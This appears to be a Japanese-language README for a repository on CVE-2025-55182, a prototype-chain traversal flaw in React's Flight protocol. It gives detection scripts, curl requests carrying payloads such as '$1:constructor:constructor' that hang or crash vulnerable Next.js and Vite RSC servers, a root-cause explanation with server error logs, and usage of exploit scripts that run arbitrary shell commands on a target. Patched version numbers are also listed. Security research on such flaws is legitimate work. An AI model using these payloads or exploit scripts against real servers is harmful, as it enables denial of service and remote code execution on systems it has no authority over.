
実際のCVE-2025-55182の検出とエクスプロイト。でたらめなLLMはありません。
React Flightプロトコルの脆弱性。チャンク参照を介したプロトタイプチェーンの走査を許容します。bullshit-react-project でテストしています。
実際のPoCが公開されたため、これは少し古くなっています。
Vite RSC: bash ./vite-detect.sh https://example.com
Next.js: bash ./nextjs-detect.sh https://example.com
または両方をまとめて行うには、bash ./detect.sh https://example.com を実行してください。
どちらのスクリプトもオプションのタイムアウトパラメータを受け入れます(Viteのデフォルトは3秒、Next.jsは5秒)。
x-rsc-action ヘッダーに $1:toString ペイロードを送信します。脆弱なサーバーは無期限にハングします。パッチ適用済みサーバーは正常に応答します。最初にRSCエンドポイントをチェックします(無効なアクションではHTTP 500が期待されます)。
ページレスポンスからサーバーアクションID(パターン $ACTION_ID_<hash>)を検出し、次を送信します:
curl -X POST "http://localhost:3000" \
-H "Next-Action: <action_id>" \
-H "Accept: text/x-component" \
-F '0=["$1:a:a"]' \
-F '1={}'
脆弱なサーバーはハングします。パッチ適用済みサーバーはすぐに応答します。
Next.js: 16.0.7、15.5.7、または15.4.8にアップグレード
React (Vite RSC): 19.0.1+、19.1.2+、または19.2.1+にアップグレード
ReactのFlightプロトコルは、チャンク参照を介したプロトタイプチェーンの走査を許容します。getOutlinedModel 関数は、hasOwnProperty チェックなしで参照パスを反復処理します:
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]];
これにより、$1:constructor:constructor が {}.constructor.constructor → Function をたどることが可能になります。
エンドポイント: x-rsc-action ヘッダーを持つ任意のパス
アクションID: 710363d987f5#loginUser(または任意の有効なサーバーアクション)
curl -X POST "http://localhost:4173/xyz" \
-H "x-rsc-action: 710363d987f5#loginUser" \
-F '0={"then":"$1:constructor:constructor"}' \
-F '1={"a":"b"}'
脆弱: Internal Server Error
パッチ適用済み: 正常な応答
パッチ適用済みサーバーで x-rsc-action IDが間違っている場合、500エラーが発生します。サーバーログが異なるだけです。
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>)
Function コンストラクタが、オブジェクトが await された際に .then() を介して呼び出されました。V8は resolve/reject 関数を引数として渡し、これらは文字列化すると function () { [native code] } になります。そのため構文エラーが発生します。
Error: server reference not found '310363d987f5'
at Object.load (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13532:27)
at requireModule (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8302:20)
at loadServerAction (file:///tmp/team_9_year_3_project/dist/rsc/index.js:8326:17)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14998:29)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
TypeError: Cannot read properties of undefined (reading 'apply')
at AsyncLocalStorage.run (node:internal/async_local_storage/async_context_frame:63:14)
at runWithRequest (file:///tmp/team_9_year_3_project/dist/rsc/index.js:13539:25)
at handler (file:///tmp/team_9_year_3_project/dist/rsc/index.js:14999:27)
at process.processTicksAndRejections (node:internal/process/task_queues:103:5)
有効な x-rsc-action ではサーバーログは表示されません。正しい x-rsc-action は、実際のサーバーアクションを実行して開発ツールでリクエストをキャプチャすることで見つけられます。
$1:toString ペイロードは脆弱なサーバーを無期限にハングさせます。検出スクリプトはこれを使用しています。ほぼすべてを試しましたが、RCEは達成できていません。
Vite RSCの場合:
bash exploit-vite.sh https://example.com/ 'echo $(id) > /tmp/pwned'
NextJSの場合:
bash exploit-nextjs.sh https://example.com/ 'echo $(id) > /tmp/pwned'
クレジット: maple3142 -> https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3
ラッピングを行い、Vite向けに適応しただけです。Viteは純粋なESMであり、require を持たないためです。